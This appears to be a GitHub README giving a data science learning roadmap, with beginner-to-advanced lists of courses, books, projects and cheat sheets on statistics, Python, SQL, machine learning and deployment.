|<h5>Is a multidisciplinary field that focuses on looking at raw and structured data sets and providing potential actionable insights. The field of Data Science looks at ensuring we are asking the right questions as opposed to finding exact answers. Data Scientist require skillsets that are centered on Computer Science, Mathematics, and Statistics. Data Scientist use several unique techniques to analyze data such as machine learning, trends, linear regressions, and predictive modeling. The tools Data Scientist use to apply these techniques include Python and R. </h5>|<h5> Focuses on looking at existing data sets and creating solutions to capture data, process data, and finally organize data to draw actionable insights. This field looks at finding general process, business, and engineering improvements we can make based on questions we don't know the answers to. Data Analytics require skillsets that are centered on Statistics, Mathematics, and high level understanding of Computer Science. It involves data cleaning, data visualization, and simple modeling. Common Data Analytic tools used include Microsoft Power Bi, Tableau, and SQL. </h5>|<h5> Focuses on creating the correct infrastructure and tools required to support the business. Data Engineers look at what are the optimal ways to store and extract data and involves writing scripts and building data warehouses. Data Engineering require skillsets that are centered on Software Engineering, Computer Science and high level Data Science. The tools Data Engineers utilize are mainly Python, Java, Scala, Hadoop, and Spark. </h5>|
# Prepare your workspace
<details><summary> <h3>Tip :one: : Pick one and stick to it. (:file_folder:Click)</h3>
</summary>
<br>
[Anaconda](https://www.anaconda.com/products/distribution): It’s a tool kit that fulfills all your necessities in writing and running code. From Powershell prompt to Jupyter Notebook and PyCharm, even R Studio (if interested to try R)
[Atom](https://atom.io/packages/ide-python): A more advanced Python interface, highly recommended by experts. <br />
[Google Colab](https://colab.research.google.com/notebooks/intro.ipynb): It’s like a Jupyter Notebook but in the cloud. You don’t need to install anything locally. All the important libraries are already installed. For example NumPy, Pandas, Matplotlib, and Sci-kit Learn <br />
[PyCharm](https://www.jetbrains.com/): PyCharm is another excellent IDE that enables you to integrate with libraries such as NumPy and Matplotlib, allowing you to work with array viewers and interactive plots. <br />
[Thonny](https://thonny.org/): Thonny is an IDE for teaching and learning programming. Thonny is equipped with a debugger, and supports code completion, and highlights syntax errors.</details>
Most learning platforms have integrated code exercises where you don’t need to install anything locally. But to learn it right, you should have an IDE installed on your local machine. Suggestions will be a marketplace with many options and few improvements from one platform to another.
### Tip :two: : Focus on one course at least.
### Tip :three: : Don’t chase certifications.
### Tip :four: : Don’t rush for ML without having a good background in programming & maths.
## This track is divided into 3 phases :arrow_down: :
####   1. Beginner: you get a basic understanding of data analysis, tools and techniques.
####   2. Intermediate: dive deeper in more complex topics of ML, Math and data engineering.
####   3. Advanced: where we learn more advanced Math, DL and Deployment.
:bell: For Data Camp courses, github student pack gives 3 free months. Google how to get it.<br> <i>if you already used it, do not hesitate to contact us to have an account with free access.:hibiscus:</i>
## Legend
* :video_camera: Video Content
* :closed_book: Online Article Content / Book
### :bulb: Roadmap Explanation :arrow_forward: [Youtube Video](https://youtu.be/HbIPJuvzRLk) :movie_camera:
***
## :beginner: Beginner :beginner:
[Algorithms Book](https://github.com/cjbt/Free-Algorithm-Books/blob/master/book/Grokking%20Algorithms%20-%20An%20illustrated%20guide%20for%20programmers%20and%20other%20curious%20people.pdf) <i>Every piece of code could be called an algorithm, but this book covers the
more interesting bits.</i><br>
[Specializations (data structures-algorithms)](https://www.coursera.org/specializations/data-structures-algorithms)
**1. Descriptive Statistics** <br>
   :video_camera: [Intro to descriptive statistics](https://www.udacity.com/course/intro-to-descriptive-statistics--ud827)<br>
   :video_camera: [Statistics Fundamentals - StatQuest - Youtube](https://www.youtube.com/playlist?list=PLblh5JKOoLUK0FLuzwntyYI10UQFUhsY9)<br>
   :closed_book: [Online statistics education](http://onlinestatbook.com/Online_Statistics_Education.pdf)<br>
   :closed_book: Intro to descriptive statistics [Article1](https://medium.com/m/global-identity?redirectUrl=https%3A%2F%2Ftowardsdatascience.com%2Fdescriptive-statistics-f2beeaf7a8df) & [Article2](https://medium.com/m/global-identity?redirectUrl=https%3A%2F%2Ftowardsdatascience.com%2Fintro-to-descriptive-statistics-252e9c464ac9)<br>
   :video_camera: [Arabic Course](https://www.youtube.com/watch?v=d5jh5mmwcKI&list=PLY99ZSsxRyJiu6kb4WRRpeEFqK1pAr-EO)<br>
   :video_camera: [Intro to Inferential Statistics](https://www.udacity.com/course/intro-to-inferential-statistics--ud201)++<br>
   :closed_book: [Practical Statistics for Data Scientists](https://github.com/Moataz-Elmesmary/Data-Science-Roadmap/blob/main/Practical%20Statistics%20for%20Data%20Scientists.pdf)<br>
**2. Probability**<br>
   :video_camera: [Khan Academy](https://www.khanacademy.org/math/statistics-probability/probability-library)<br>
   :video_camera: [Arabic Course](https://www.youtube.com/playlist?list=PL158D091D26F47358)<br>
   :closed_book: [Introduction to Probability](https://drive.google.com/file/d/15Y0oFNHQRls1qvQNvO3DFLJVhIZvUjTD/view?usp=sharing)<br>
**3. Programming Languages**<br>
 :small_blue_diamond:*R* - *good tool for visualization and statistical analysis.*<br>
   :video_camera: [Introduction to R (Datacamp)](https://www.datacamp.com/courses/free-introduction-to-r)<br>
   :video_camera: [Data Science Specialization - coursera](https://www.coursera.org/specializations/jhu-data-science)<br>
   :closed_book: [An Introduction to R](https://cran.r-project.org/doc/manuals/R-intro.pdf)<br>
   :closed_book: [R for Data Science](https://r4ds.had.co.nz/)<br>
 :small_blue_diamond:*Python*:100: <br>
   :video_camera: [Introduction to Python Programming](https://www.udacity.com/course/introduction-to-python--ud1110)<br>
   :video_camera: [OOP](https://learn.datacamp.com/courses/object-oriented-programming-in-python)<br>
   :video_camera: Arabic - [Hassouna](https://www.youtube.com/watch?v=MxYLqE3Ils8&list=PLHIfW1KZRIfnM9y0sQRwjVz2-IwvnEJep) | [Elzero](https://www.youtube.com/watch?v=mvZHDpCHphk&list=PLDoPjvoNmBAyE_gei5d18qkfIe-Z8mocs)<br>
   :video_camera: [Python Full Course - FreeCodeCamp on YouTube](https://www.youtube.com/watch?v=rfscVS0vtbw)<br>
   :closed_book: [Intro to Python for CS and Data Science](https://drive.google.com/file/d/1rXkYFjw1iKbXCra_B4Ykm0AMRgo6v93w/view?fbclid=IwAR2lg9omGaAsG3g1ZhHQHja8_uxkZ7QddnOUSxfoceRXShU1V_bl4V63xCQ)<br>
   [more in OOP](https://www.futurelearn.com/courses/object-oriented-principles)<br>
**4. Pandas**<br>
   :video_camera: [Corey Schafer-Youtube](https://www.youtube.com/watch?v=ZyhVh-qRZPA&list=PL-osiE80TeTsWmV9i9c58mdDCSskIFdDS)<br>
   :closed_book: [Kaggle](https://www.kaggle.com/learn/pandas)<br>
   :closed_book: [Docs](https://pandas.pydata.org/pandas-docs/version/0.15/tutorials.html)<br>
   :video_camera: [Data School-Youtube](https://www.youtube.com/watch?v=yzIMircGU5I&list=PL5-da3qGB5ICCsgW1MxlZ0Hq8LL5U3u9y&index=1)<br>
   :video_camera: [Arabic Course](https://www.youtube.com/watch?v=3ISW655DemU&list=PLvLvlVqNQGHCb2_ygmr1DQOMOv0yXp84F)<br>
**5. Numpy**<br>
   :closed_book: [Kaggle](https://www.kaggle.com/legendadnan/numpy-tutorial-for-beginners-data-science)<br>
   :video_camera: [Arabic Course](https://www.youtube.com/watch?v=5-5CrLmf2vk&list=PLIA_seGogbkGDYq-dnVCsELEIq_7HK7Ca)<br>
   :closed_book: [Tutorial](http://cs231n.github.io/python-numpy-tutorial/)<br>
   :closed_book: [Docs](https://numpy.org/doc/1.18/user/quickstart.html)<br>
**6. Scipy**<br>
   :closed_book: [Tutorial](https://cs231n.github.io/python-numpy-tutorial/#scipy)<br>
   :closed_book: [Docs](https://docs.scipy.org/doc/scipy/reference/tutorial/general.html)<br>
**7. Data Cleaning**: One of the **MOST** important skills that you need to master to become a good data scientist, you need to practice on many datasets to master it.<br>
   [Read this](https://towardsdatascience.com/the-ultimate-guide-to-data-cleaning-3969843991d4)<br>
   :video_camera: [Course 1](https://www.datacamp.com/courses/cleaning-data-in-python)<br>
   :closed_book: [Notebook1](https://www.kaggle.com/bandiatindra/telecom-churn-prediction)<br/>
   :closed_book: [Notebook2](https://drive.google.com/drive/folders/1OQAEQ8rC4j6oBP7AyDU4bKpPr8sSStJI?fbclid=IwAR2dSrbyoZLM-Wm57yEYy8L8PmpPV9hqXdkNf-pURJC5C5xCz7UJB4YpJ7M)<br/>
   :closed_book: [Notebook3](https://www.kaggle.com/ashishg21/data-cleaning-and-some-analysis-shoe-prices)<br>
   :closed_book: [Kaggle Data cleaning](https://www.kaggle.com/learn/data-cleaning)<br>
**8. Data Visualization** :bar_chart: <br>
   :video_camera: [Introduction to Data Visualization with Matplotlib](https://app.datacamp.com/learn/courses/introduction-to-data-visualization-with-matplotlib?fbclid=IwAR1OrJSdZ2LVD_c1o3d-_1I7Nhq8OZ3pzTu4010E_XWEmMc0KYsTosz8CIU) or<br>
   :video_camera: [ Corey Schafer - Playlist on Youtube](https://www.youtube.com/watch?v=UO98lJQ3QGI&list=PL-osiE80TeTvipOqomVEeZ1HRrcEvtZB_) or<br>
   :video_camera: [sentdex - Playlist on YouTube](https://www.youtube.com/watch?v=q7Bo_J8x_dw&list=PLQVvvaa0QuDfefDfXb9Yf0la1fPDKluPF)<br>
   :closed_book: [Kaggle to Data Visualization with Seaborn](https://www.kaggle.com/learn/data-visualization)<br>
   :video_camera: [Playlist-Youtube](https://www.youtube.com/watch?v=z7ZINBk8EUk&list=PL998lXKj66MpNd0_XkEXwzTGPxY2jYM2d)<br>
   :video_camera: [Course1: Intro to Data Visualization with Seaborn](https://learn.datacamp.com/courses/introduction-to-data-visualization-with-seaborn)<br>
   :video_camera: [Course2: Intermediate Data Visualization with Seaborn
](https://learn.datacamp.com/courses/intermediate-data-visualization-with-seaborn)<br>
   :video_camera: [Course3: Understanding and Visualizing with Python](https://www.coursera.org/learn/understanding-visualization-data)<br>
**9. EDA**
Note: it's already mentioned in the above probability course <br>
   :video_camera: [DataCamp-EDA in Python](https://learn.datacamp.com/courses/exploratory-data-analysis-in-python) <br>
   :video_camera: [IBM-EDA for Machine Learning](https://www.coursera.org/learn/ibm-exploratory-data-analysis-for-machine-learning) <br>
**10. Dashboards**<br>
 *Power BI*<br>
   :video_camera: [Power BI Desktop - Coursera](https://www.coursera.orghttps://powerbi.microsoft.com/en-us/learning//projects/power-bi-desktop)<br>
   :video_camera: [Power BI training](https://powerbi.microsoft.com/en-us/learning/)<br>
   :video_camera: [Arabic - Youtube](https://www.youtube.com/watch?v=ykvAWKML9Gk&list=PLof3yw6ZFPFhV75Ptf-5Q88bgUtLOBvOw)<br>
 *Tableau*<br>
   :closed_book: [Tutorial](https://www.datacamp.com/community/tutorials/data-visualisation-tableau)<br>
   :video_camera: [docs](https://www.tableau.com/learn/training/20201)<br>
   :video_camera: [course - datacamp](https://learn.datacamp.com/courses/introduction-to-tableau)<br>
   :video_camera: [Simplilearn - Youtube](https://learn.datacamp.com/courses/introduction-to-tableau)<br>
**11. SQL and DB**<br>
   :video_camera: SQL for Data Analysis ([simplilearn](https://www.simplilearn.com/free-online-course-to-learn-sql-basics-skillup) or [Udacity](https://www.udacity.com/course/sql-for-data-analysis--ud198))<br>
   :video_camera: [Intro to SQL](https://learn.datacamp.com/courses/introduction-to-sql) **or** [IBM (SQL for Data Science)](https://www.coursera.org/learn/sql-data-science)<br>
   :video_camera: [Intro to Relational Databases in SQL](https://learn.datacamp.com/courses/introduction-to-relational-databases-in-sql)<br>
   :video_camera: [Arabic Course](https://www.youtube.com/watch?v=B7evUQGmN6M&list=PLfM2wZNebA2zROxUcAbGxNrpVZncsF3oD) -- [Arabic-ITI](https://www.youtube.com/watch?v=QJHy89zMvj8&list=PLYpJKvLDuJhgMzOXRwUJ2_ZlVt3zSh8PA&index=1)<br>
   :video_camera: [Joining Data in SQL](https://www.datacamp.com/courses/joining-data-in-postgresql)<br>
   :video_camera: [365 Data Science - SQL](https://mega.nz/folder/wswGEIhb#tsqUggTZyfy5HyRWUkV9sg/folder/R1AxXCxB)<br>
   :pencil: Practice [HackerRank](https://www.hackerrank.com/domains/sql) & [DataLemur](https://datalemur.com/)
**12. Python Regular Expression**<br>
   :closed_book: [Tutorial](https://www.datacamp.com/community/tutorials/python-regular-expression-tutorial)<br>
**13. Time Series Analysis**<br>
   :video_camera: [Track](https://learn.datacamp.com/skill-tracks/time-series-with-python)<br>
   :closed_book: [Book](https://www.oreilly.com/library/view/practical-time-series/9781492041641/?fbclid=IwAR20cq7hAdWf6voOd61u-pNzZCHvB0rZhT_BUoGTAXxPBhhi82p8BhxLEsI)<br>
   :closed_book: [fbprohet](https://facebook.github.io/prophet/docs/quick_start.html)<br>
   :video_camera: Arabic Source [Video1](https://www.youtube.com/watch?v=TvhaHPq6xLU&list=TLPQMjYwNzIwMjEPGXX6392WJA&index=1) & [Video2](https://www.youtube.com/watch?v=mipF7mRVpk0&list=TLPQMjYwNzIwMjEPGXX6392WJA&index=2)<br>
<h4><i>At The end of Beginner phase apply all what you've learned on a project.</i></h4>
***
## :beginner: Intermediate :beginner:
**1. Math for ML**: consists of Linear Algebra, Calculus and PCA. <br>
:video_camera: [Mathematics for Machine Learning and Data Science - Andrew Ng](https://www.coursera.org/specializations/mathematics-for-machine-learning-and-data-science?irclickid=zzy33K1O0xyNUAmxqWUjDwedUkAUtSWUJXKyTY0&irgwc=1&utm_medium=partners&utm_source=impact&utm_campaign=3117765&utm_content=b2c#courses)<br>
:video_camera: [Specialization](https://www.coursera.org/specializations/mathematics-machine-learning)<br>
:video_camera: [Mathematics for Machine Learning - Most of the needed basics](https://www.youtube.com/watch?v=vLJcduC4lBM&list=PLcQCwsZDEzFmlSc6levE3UV9rZ8yY-D_7)<br><br>
:small_blue_diamond:Linear Algebra<br>
   :video_camera: [Khan Academy - Linear Algebra](https://www.khanacademy.org/math/linear-algebra)<br>
   :video_camera: [Mathematics for Machine Learning: Linear Algebra](https://www.coursera.org/learn/linear-algebra-machine-learning)<br>
   :video_camera: [3Blue1Brown - Essence of Linear Algebra](https://www.3blue1brown.com/topics/linear-algebra)<br>
:small_blue_diamond:Calculus<br>
   :video_camera: [Multivariate Calculus - Coursera](https://www.coursera.org/learn/multivariate-calculus-machine-learning?fbclid=IwAR243aoz0jxs4iUn539pnjSQliXtr7Y5QAsvgeRTietZT_tkyoRU3b6Sq1o)<br>
   :video_camera: [Essence of calculus - Youtube](https://www.youtube.com/playlist?list=PLZHQObOWTQDMsr9K-rj53DwVRMYO3t5Yr)<br>
:small_blue_diamond:PCA<br>
   :video_camera: [PCA - Coursera](https://www.coursera.org/learn/pca-machine-learning)<br>
**2. Machine Learning**<br>
   :video_camera: [Coursera - Old Course by Andrew Ng (Octave/Matlab)](https://www.coursera.org/learn/machine-learning)<br>
   :video_camera: [Coursera Andrew`s new ML Specialization (Python)](https://www.coursera.org/specializations/machine-learning-introduction?_hsenc=p2ANqtz-_R9x3Nm07uCw6YAw9VpCpdjRdfaUFyxdOcvgDljRt7j_NXiahN1plnI_Ob9jn0jSNipuE_Y08llrfPSt_1P7EBvj4LuImpBTKG3bsR6Z9bzjzBoRY&_hsmi=216611333&action=enroll&utm_campaign=mls-launch-2022&utm_content=216613012&utm_medium=email&utm_source=hs_email#courses)<br>
   :video_camera: [Machine Learning Stanford Full Course on YouTube by Andrew](https://www.youtube.com/watch?v=PPLop4L2eGk&list=PLLssT5z_DsK-h9vYZkQkYNWcItqhlRJLN)<br>
   :video_camera: [CS480/680 Intro to Machine Learning - Spring 2019 - University of Waterloo](https://www.youtube.com/playlist?list=PLdAoL1zKcqTW-uzoSVBNEecKHsnug_M0k)<br>
   :video_camera: [SYDE 522 – Machine Intelligence (Winter 2018, University of Waterloo)](https://www.youtube.com/playlist?list=PL4upCU5bnihwCX93Gv6AQnKmVMwx4AZoT)<br>
   :video_camera: [Introduction to Machine Learning Course - Udacity](https://www.udacity.com/course/intro-to-machine-learning--ud120)<br>
   :video_camera: [Hesham Asem - Arabic content](https://www.youtube.com/c/HeshamAsem/playlists)<br>
   :video_camera: [IBM ML with Python](https://www.coursera.org/learn/machine-learning-with-python)<br>
   :video_camera: [Machine Learning From Scratch - YouTube (Python Engineer)](https://www.youtube.com/watch?v=ngLyX54e1LU&list=PLqnslRFeH2Upcrywf-u2etjdxxkL8nl7E)<br>
   :closed_book: Hands On ML ([1st](https://drive.google.com/file/d/1uro1p6SlYolSkF0fbFKau0pOQ9ENZqny/view?usp=sharing) & [2nd](https://drive.google.com/file/d/1rS95FTNfiVG4WjGnPjd73GqrmEKey4N1/view?usp=sharing) & [3rd](https://drive.google.com/file/d/11VeqPJw8s9SC9Ru7IVeQhiTyV_9TliOE/view?usp=sharing)) Editions | example code '[Notebooks](https://github.com/ageron/handson-ml?fbclid=IwAR3s31KlwkLKyrEwuEd4UMOcvHN1Q9Z2LLGzPg5vP4UKSwjriHxU0uO405c)'<br>
   :video_camera: [ML Algorithms in Practice](https://www.coursera.org/specializations/machine-learning-algorithms-real-world?utm_medium=email&utm_source=marketing&utm_campaign=A39CcMUuEempyReieZALEQ)<br>
   :video_camera: [ML scientist](https://learn.datacamp.com/career-tracks/machine-learning-scientist-with-python?version=1)<br>
   :video_camera: [Project](https://www.coursera.org/learn/applied-data-science-capstone)<br>
**3. Web Scraping/APIs**<br>
   :video_camera: [course](https://learn.datacamp.com/courses/web-scraping-with-python)<br>
   :closed_book: [intro2](https://www.dataquest.io/blog/web-scraping-tutorial-python/)<br>
   :closed_book: [Tutorial](https://realpython.com/beautiful-soup-web-scraper-python/)<br>
   :closed_book: [Book for both topics](https://b-ok.africa/book/3515980/5d50aa)<br>
APIs <br>
   :closed_book: [Tutorial](https://www.dataquest.io/blog/python-api-tutorial/)<br>
   :closed_book: [Article](https://medium.com/m/global-identity?redirectUrl=https%3A%2F%2Ftowardsdatascience.com%2Fhow-to-pull-data-from-an-api-using-python-requests-edcc8d6441b1)<br>
   :closed_book: [Tutorial](https://rapidapi.com/blog/how-to-use-an-api-with-python/)<br>
**4. Stats.**<br>
   :closed_book: [This stats - Book](https://greenteapress.com/thinkstats/thinkstats.pdf)<br>
   :closed_book: [Think Bayes - Book](https://www.greenteapress.com/thinkbayes/thinkbayes.pdf)<br>
**5. Advanced SQL**<br>
   :video_camera: [More advanced SQL](https://www.coursera.org/lecture/data-driven-astronomy/more-advanced-sql-GDmo5)<br>
   :video_camera: [Joining Data in SQL](https://learn.datacamp.com/courses/joining-data-in-postgresql)<br>
**7. Feature Engineering**<br>
   :closed_book: [Tutorial](https://www.kaggle.com/learn/feature-engineering)<br>
   :closed_book: [Article](https://www.medium.com/m/global-identity?redirectUrl=https%3A%2F%2Ftowardsdatascience.com%2Ffeature-engineering-for-machine-learning-3a5e293a5114)<br>
   :closed_book: [Book](https://drive.google.com/file/d/1BkJYO0tqMYptTWUDQ7X0vd2aygohHRm8/view?usp=sharing)<br>
**8. interpet Shapley-based explanations of ML models.**<br/>
   :closed_book: [SHAP](https://shap.readthedocs.io/en/latest/)<br/>
   :closed_book: [Kaggle ML explainability](https://www.kaggle.com/learn/machine-learning-explainability)<br/>
<h4><i>After finishing this level apply to 2 or 3 good sized projects.</i></h4>
<i>Read this book, please</i> :open_book: [Introduction to Statistical Learning with Applications in R](https://github.com/Moataz-Elmesmary/Data-Science-Roadmap/blob/main/Introduction%20to%20Statistical%20Learning%20with%20Applications%20in%20R.pdf) بقولك اقرأه<br>
***
## :beginner: Advanced :beginner:
**1. Deep Learning** <br>
   :video_camera: [Deep Learning Fundamentals](https://www.youtube.com/playlist?list=PLZbbT5o_s2xq7LwI2y8_QtvuXZedL6tQU)<br>
   :video_camera: [Introduction to
Deep Learning - MIT](http://introtodeeplearning.com/?fbclid=IwAR35rIygYlCn84DV7mlHvdvs4sMUm2D6RLYVwFpp2nT2t1Zj1GGy3QAWQvQ)<br>
   :video_camera: [Specialization](https://www.coursera.org/specializations/deep-learning)<br>
   :closed_book: [Dive into Deep Learning (En)](https://d2l.ai/d2l-en.pdf?fbclid=IwAR0sVdA8VFYpNZCpYZHgo_kl_HYrjcjDfjEka26D8xRWAhbhh6mmSNIXg3U) | (Ar) version :arrow_right:[Part1](https://drive.google.com/file/d/1SrmT_r8dNK42IqyS0gwXtbLCZbk5G8eu/view?fbclid=IwAR1Xcf8PNKkPJMg0uHRE1QyIW4_BMxISIdoB8pPaepw38njhaIf04MYM218) & [Part2](https://drive.google.com/file/d/1UqEu0amRfAvJD0L1HosIn3UJi0FkNemU/view?fbclid=IwAR1og8pkWr1gT3jdUwqikCZVrOCpyrm0x6ZRL63Kitwhki35pazHdo_ScJI) <br>
   :video_camera: [Deep Learning UC Berkely](https://www.youtube.com/playlist?list=PLZSO_6-bSqHQHBCoGaObUljoXAyyqhpFW)<br>
   :closed_book: [github of Dive into DL](https://github.com/d2l-ai/d2l-en?fbclid=IwAR0QN35b-NHHWq_zKISA1cbI063aRqqoKqR_0e3cpnT5h58GkcNbCIJs3iw)<br>
   :video_camera: [Stanford Lecture - Convolutional Neural Networks for Visual Recognition](https://www.youtube.com/watch?v=vT1JzLTH4G4&list=PL3FW7Lu3i5JvHM8ljYj-zLfQRF3EO8sYv)<br>
   :video_camera: [University of Waterloo - ML / DL](https://www.youtube.com/playlist?list=PLdAoL1zKcqTW-uzoSVBNEecKHsnug_M0k)<br>
**2. Tensorflow**<br>
   :video_camera: [Specialization](https://www.coursera.org/specializations/tensorflow-in-practice)<br>
   :video_camera: [Youtube](https://www.youtube.com/playlist?list=PLZbbT5o_s2xrwRnXk_yCPtnqqo4_u2YGL)<br>
    [fast.ai's Deep Learning Courses](https://www.fast.ai/)<br>
###### <i>TensorFlow beats PyTorch in visualization capabilities and deploying trained models. Go for PyTorch if you want flexibility, debugging capabilities, and short training duration.</i>
**3. PyTorch**<br>
   :video_camera: [PyTorch (UC Berkeley - Youtube) - Lec3 (The 5 parts)](https://m.youtube.com/watch?v=AOypIa_8RXg&list=PL_iWQOsE6TfXxKgI1GgyV1B_Xa0DxE5eH&index=11)<br>
   :video_camera: [PyTorch - Dr. Data Science - Youtube](https://www.youtube.com/watch?v=vVQs4h6HUvA&list=PLLeO8f6PhlKb_FAC7qxOBtxT9-8EPDAqk)<br>
   :video_camera: [Pytorch Tutorial - Aladdin - Youtube](https://www.youtube.com/watch?v=2S1dgHpqCdk&list=PLhhyoLH6IjfxeoooqP9rhU3HJIAVAJ3Vz)<br>
   :video_camera: [PyTorch Course (2022) - Youtube](https://www.youtube.com/watch?v=v43SlgBcZ5Y&list=PLkdGijFCNuVk9fO1IMfdV1Igob0FUHhkB)<br>
   :closed_book: [Deep Learning With Pytorch](https://drive.google.com/file/d/1-KG_ufeg7zw2iLgG5RrJSFpyonLwulgF/view?usp=sharing)<br>
   :closed_book: [Machine Learning with PyTorch and Scikit-Learn -2022](https://dl.ebooksworld.ir/books/Machine.Learning.with.PyTorch.and.Scikit-Learn.Sebastian.Raschka.Packt.9781801819312.EBooksWorld.ir.pdf)<br>
**4. Advanced Data Science**<br>
   :video_camera: [Advanced Data Science with IBM Specialization](https://www.coursera.org/specializations/advanced-data-science-ibm)<br>
**5. NLP** <br>
   :video_camera: [Specialization](https://www.coursera.org/specializations/natural-language-processing)<br>
   :video_camera: [Arabic - Ahmed El Sallab](https://www.youtube.com/playlist?list=PLxmZ0b-n395VxzEUL8-Dy257zSqYZe4yU)<br>
   :video_camera: [Introduction to Natural Language Processing in Python](https://www.datacamp.com/courses/natural-language-processing-fundamentals-in-python)<br>
**6. Inferential Statistics** <br>
   :video_camera: [Specialization, 2nd & 3rd courses](https://www.coursera.org/specializations/statistics-with-python)<br>
   :video_camera: [course](https://www.coursera.org/learn/statistical-inferences)<br>
**7. Bayesian Statistics**<br>
   :video_camera: [1 - From Concept to Data Analysis](https://www.coursera.org/learn/bayesian-statistics)<br>
   :video_camera: [2 - Techniques and Models](https://www.coursera.org/learn/mcmc-bayesian-statistics)<br>
   :video_camera: [3 - Mixture Models](https://www.coursera.org/learn/mixture-models)<br>
**8. Model Deployment** <br>
   :closed_book: [Flask tutorial](https://towardsdatascience.com/deploying-a-deep-learning-model-using-flask-3ec166ef59fb)<br>
   :video_camera: [TensorFlow: Data and Deployment Specialization](https://www.coursera.org/specializations/tensorflow-data-and-deployment)<br>
   :video_camera: [Deploy Models with TensorFlow Serving and Flask](https://www.coursera.org/projects/deploy-models-tensorflow-serving-flask)<br>
   :video_camera: [How to Deploy a Machine Learning Model to Google Cloud - Daniel Bourke](https://www.youtube.com/watch?v=fw6NMQrYc6w)<br>
   if you`re intersted in more deployment methods, search for (_FastAPI - Heroku - chitra_)<br>
**9. Probabilistic Graphical Models** <br>
   :video_camera: [Specialization](https://www.coursera.org/specializations/probabilistic-graphical-models)<br>
***
### :pushpin:PROJECTS :arrow_double_down:<br>
   :movie_camera:[Deena Gergis - End to end Project](https://www.youtube.com/playlist?list=PLatl6hdtJ0RnbkReSAuel6PeCPO155FpG)<br>
   :movie_camera:[Machine Learning Projects - Youtube](https://www.youtube.com/watch?v=fiz1ORTBGpY&list=PLfFghEzKVmjvuSA67LszN1dZ-Dd_pkus6)<br>
   :computer:[Top 10 Data Science Projects for Beginners](https://www.kdnuggets.com/2021/06/top-10-data-science-projects-beginners.html)<br>
   :computer:[12 Data Science Projects for Beginners and Experts](https://builtin.com/data-science/data-science-projects)<br>
   :computer:[Data Science Projects & Ideas](https://nevonprojects.com/data-science-projects-solutions/)<br>
   :computer:[Top 310+ Machine Learning Projects for 2023](https://data-flair.training/blogs/machine-learning-project-ideas/)<br>
   :computer:[10 End-to-End Guided Data Science Projects](https://pub.towardsai.net/10-end-to-end-guided-data-science-projects-to-build-your-portfolio-b7b9047fe6c9)<br>
   :movie_camera:[Real-World ML Tutorial w/ Scikit Learn](https://www.youtube.com/watch?v=M9Itm95JzL0)<br>
   :movie_camera:[End To End ML Project With Dockers,Github Actions And Deployment](https://www.youtube.com/watch?v=MJ1vWb1rGwM)<br>
   :computer:[Python Codes in Data Science](https://github.com/RubensZimbres/Repo-2017/)<br>   :computer:[12 free Data Science projects to practice Python and Pandas (resolve interactive online)](https://www.datawars.io/articles/12-free-data-science-projects-to-practice-python-and-pandas)<br>
***
### :pushpin: Common Tools :arrow_heading_down:<br>
   [Anaconda](https://learn.datacamp.com/courses/conda-essentials)<br>
   [Git](https://git-scm.com/book/en/v2)<br>
   [Course - Udacity](https://www.udacity.com/course/version-control-with-git--ud123)<br>
   [Arabic - Youtube](https://www.youtube.com/watch?v=Q6G-J54vgKc)<br>
### :pushpin: **More Books ~ [:pushpin: Check This!](https://drive.google.com/drive/folders/1iW7IPrVUqsHumgXUMH_rgeBLpJjRDCmJ?usp=sharing)** <br>
  :atom::atom::atom::atom::atom:<br>
   :closed_book: [:fire: <b>65</b> Free Important Books :fire:](https://techgrabyte.com/springer-released-65-machine-learning-data-science-books-free/?fbclid=IwAR3x9Mfd4FSrBo_y2F92cAghhZ8851qv3wQ1R_u87s70MZTDtKeG5yn7Hts)<br>
   :closed_book: [Mathematics for Machine Learning ](https://mml-book.github.io/)<br>
   :closed_book: [An Introduction to Statistical Learning](https://www.statlearning.com/)<br>
   :closed_book: [Understanding Machine Learning: From Theory to Algorithms ](https://www.cs.huji.ac.il/w~shais/UnderstandingMachineLearning/copy.html)<br>
   :closed_book: [Probabilistic Machine Learning: An Introduction](https://probml.github.io/pml-book/book1.html)<br>
   :closed_book: [storytelling with data](https://drive.google.com/file/d/1OQu6ZWImGnHbuI_WJOLPdSvKWCABSWMH/view?usp=sharing) Important data visualization guide.<br>
***
<details>
<summary> <h3> :pushpin: <b>Collection of the best Cheat sheets</b></h3></summary>
1. [Importing Data](https://lnkd.in/e3jnyTEi)
2. Pandas
   - [(1)](https://lnkd.in/eiXuBbWh_)
   - [(2)](https://lnkd.in/e8PKwQQQ)
   - [(3)](https://lnkd.in/ewQfqe8q)
3. [Matplotlib](https://lnkd.in/ejxbW8ak)
4. [Seaborn](https://lnkd.in/ejhxUp2K)
5. [Probability](https://lnkd.in/e4Jxx6xP)
6. [Supervised Learning](https://github.com/afshinea/stanford-cs-229-machine-learning/blob/master/en/cheatsheet-supervised-learning.pdf)
7. [Unsupervised Learning](https://github.com/afshinea/stanford-cs-229-machine-learning/blob/master/en/cheatsheet-unsupervised-learning.pdf)
8. [Deep Learning](https://github.com/afshinea/stanford-cs-229-machine-learning/blob/master/en/cheatsheet-deep-learning.pdf)
9. [Machine Learning Tips and Tricks](https://github.com/afshinea/stanford-cs-229-machine-learning/blob/master/en/cheatsheet-machine-learning-tips-and-tricks.pdf)
10. [Probabilities and Statistics](https://github.com/afshinea/stanford-cs-229-machine-learning/blob/master/en/refresher-probabilities-statistics.pdf)
11. [Comprehensive Stanford Master Cheat Sheet](https://github.com/afshinea/stanford-cs-229-machine-learning/blob/master/en/super-cheatsheet-machine-learning.pdf)
12. [Linear Algebra and Calculus](https://github.com/afshinea/stanford-cs-229-machine-learning/blob/master/en/refresher-algebra-calculus.pdf)
13. [Data Science Cheat Sheet](https://s3.amazonaws.com/assets.datacamp.com/blog_assets/PythonForDataScience.pdf)
14. [Keras Cheat Sheet](https://s3.amazonaws.com/assets.datacamp.com/blog_assets/Keras_Cheat_Sheet_Python.pdf)
15. [Deep Learning with Keras Cheat Sheet](https://github.com/rstudio/cheatsheets/raw/master/keras.pdf)
16. [Visual Guide to Neural Network Infrastructures](http://www.asimovinstitute.org/wp-content/uploads/2016/09/neuralnetworks.png)
17. [Skicit-Learn Python Cheat Sheet](https://s3.amazonaws.com/assets.datacamp.com/blog_assets/Scikit_Learn_Cheat_Sheet_Python.pdf)
18. [Scikit-learn Cheat Sheet: Choosing the Right Estimator](https://scikit-learn.org/stable/tutorial/machine_learning_map/)
19. [Tensorflow Cheat Sheet](https://github.com/kailashahirwar/cheatsheets-ai/blob/master/PDFs/Tensorflow.pdf)
20. [Machine Learning Test Cheat Sheet](https://www.cheatography.com/lulu-0012/cheat-sheets/test-ml/pdf/)</details>
***
